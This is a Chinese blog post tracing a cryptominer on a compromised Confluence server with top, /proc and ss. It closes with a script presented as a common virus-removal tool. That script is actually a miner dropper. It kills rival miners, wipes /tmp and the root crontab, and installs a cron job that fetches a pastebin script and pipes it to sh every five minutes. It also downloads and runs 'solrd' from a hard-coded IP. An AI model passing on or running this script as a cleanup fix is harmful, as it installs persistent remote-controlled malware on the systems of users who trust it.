关键词:[network-managerr] [ipv6_addrconfd]
起因是VMWare vCenter虚拟机报告CPU异常占用,于是登陆进入查看异常占用的进程,进程名称“x”,是个非常不合理的进程,于是接下来对这个进行进行追踪。
获取异常进程
使用top工具,Shirft + P
安装CPU使用率进行排序。
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
3477030 conflue+ 20 0 2455360 2.3g 5044 S 741.2 14.7 303196:58 x
查看进程信息
ls /proc/3477030
lrwxrwxrwx. 1 confluence confluence 0 Feb 7 00:09 exe -> '/tmp/.x111/x (deleted)'
可以看到这个可执行文件已经被删除了,常规操作而已。
通过端口获取异常进程
即便是我们kill这个进程也无济于事,黑客会留有一个手段,在你停止后重新下载程序并启动。所以我们还需要找到这个守护进程。
ss -antlp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 4096 *:35503 *:* users:((".sock",pid=407696,fd=7))
ls -l /proc/407696
删除异常进程
目前就找到这两个进程,全部kill。
kill -9 407696
kill -9 3477030
修复漏洞
从进程启动用户是confluence来看,应该是Confluence漏洞导致的,需要根据官方纰漏的漏洞和相关解决方法,升级服务。
其他病毒
附上一个常见病毒扫描处理脚本。
#!/bin/sh
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
ps aux | grep -v grep | grep 'c4kdeliver' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'dbuse' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'kdevtmpfsi' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'javaupDates' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'kinsing' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'sshcheck' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'ipv6_addrconfd' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'bdus-daemon' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'urllib.urlopen' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'bashirc' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'proton.me' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'network-managerr' | awk '{print $2}' | xargs -I % kill -9 %
ps auxf| grep -v 'solrd\|grep' | awk '{if($3>=70.0) print $2}'| xargs -I % kill -9 %
pgrep dbused |xargs kill -9
pgrep hxx|xargs kill -9
pgrep sshcheck|xargs kill -9
killall /tmp/*
killall /tmp/.*
killall /var/tmp/*
killall /var/tmp/.*
chattr -ia -- /tmp/-bash
chattr -ia -- /tmp/-python
rm -f -- /tmp/-bash
rm -f -- /tmp/-python
mkdir -- /tmp/-bash
mkdir -- /tmp/-python
rm -rf /tmp/.javae
rm -rf /tmp/.je
rm -rf /tmp/.bin
rm -rf /var/tmp/*
pkill -f /tmp/.confluence-config/httpd.d
rm -rf /tmp/confluence_mem
rm -f /tmp/*
rm -f /tmp/.*
rm -f /dev/shm/*
rm -f /dev/shm/pty*
mkdir /tmp/dbused
pgrep JavaUpdate | xargs -I % kill -9 %
pgrep kinsing | xargs -I % kill -9 %
pgrep donate | xargs -I % kill -9 %
pgrep kdevtmpfsi | xargs -I % kill -9 %
pgrep sysupdate | xargs -I % kill -9 %
pgrep mysqlserver | xargs -I % kill -9 %
chattr -ia /var/spool/cron/root
crontab -r
crontab -l | grep -e "WLUPaAVY" | grep -v grep
if [ $? -eq 0 ]; then
echo "cron good"
else
(
crontab -l 2>/dev/null
echo "*/5 * * * * curl -fsSL https://pastebin.com/raw/WLUPaAVY | sh"
) | crontab -
fi
chmod +777 /tmp/*
chattr +isa /var/spool/cron/root
pkill networkservice
pkill watchbog
pkill xmrig
pkill syna
pkill oos_repeter
pkill -- -python
pkill kinsing
pkill knthread
pkill meminitsrv
pkill -f /tmp/.x111
pkill -f /tmp/.go.sh
pkill -f /tmp/javac
pkill -f /tmp/.bin/
pkill -f /tmp/.pwn/bprofr
pkill -f /var/tmp/.jira
pkill -f /var/tmp/javae
pkill -f /dev/shm/javae
pkill -f /tmp/.rsyslogds
pkill -f /tmp/.je/je
pkill -f /dev/shm
pkill -f /dev/shm/pty86
pkill -f /dev/shm/pty64
p=$(ps auxf|grep solrd|grep -v grep|awk '{if($3>=60.0) print $2}')
name=""$p
if [ -z "$name" ]
then
pkill solr.sh
pkill solrd
ps aux | grep -v grep | grep -v 'java\|redis\|mongod\|mysql\|oracle\|tomcat\|grep\|postgres\|confluence\|awk\|aux\|sh' | awk '{if($3>60.0) print $2}' | xargs -I % kill -9 %
chmod +w /tmp/.solr
rm -rf /tmp/.solr
mkdir /tmp/.solr
curl -fsSL http://175.118.126.65:8002/js/config.json -o /tmp/.solr/config.json
curl -fsSL http://175.118.126.65:8002/js/solrd.exe -o /tmp/.solr/solrd
curl -fsSL http://175.118.126.65:8002/js/solr.sh -o /tmp/.solr/solr.sh
chmod +x /tmp/.solr/solrd
chmod +x /tmp/.solr/solr.sh
nohup /tmp/.solr/solr.sh &>>/dev/null &
sleep 10
rm -f /tmp/.solr/solr.sh
else
exit
fi